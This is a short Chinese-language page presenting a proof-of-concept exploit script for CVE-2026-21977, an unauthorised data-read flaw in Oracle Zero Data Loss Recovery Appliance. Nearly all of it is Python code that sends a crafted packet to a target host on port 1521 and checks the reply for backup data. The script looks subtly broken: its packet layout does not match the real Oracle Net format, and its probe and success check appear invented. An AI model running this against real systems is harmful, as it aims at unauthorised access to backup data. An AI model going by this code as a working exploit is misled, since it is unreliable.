CVE-2026-21977 Oracle Zero Data Loss Recovery Appliance Security组件未授权数据读取漏洞

# CVE-2026-21977 PoC - Oracle Zero Data Loss Recovery Appliance未授权数据读取 # 注意：此PoC仅用于安全研究和授权测试 import socket import struct def create_oracle_net_packet(data): """构建Oracle Net协议数据包""" packet = b'\x00' # 包类型 packet += struct.pack('>H', len(data) + 8) # 长度 packet += b'\x00\x01' # 标志 packet += data return packet def exploit_cve_2026_21977(target_ip, target_port=1521): """ 利用CVE-2026-21977漏洞 通过Oracle Net协议发送特制请求 """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # 构造针对Security组件的探测请求 probe_data = b'SECURITY_SCAN\x00' packet = create_oracle_net_packet(probe_data) sock.send(packet) response = sock.recv(4096) # 检查响应中是否包含敏感数据 if b'RECOVERY' in response or b'BACKUP' in response: print('[+] 漏洞可能存在，检测到敏感数据泄露') return True sock.close() return False except Exception as e: print(f'[-] 错误: {e}') return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'用法: python {sys.argv[0]} <目标IP>') sys.exit(1) target = sys.argv[1] print(f'[*] 开始检测 {target} 上的CVE-2026-21977漏洞...') exploit_cve_2026_21977(target)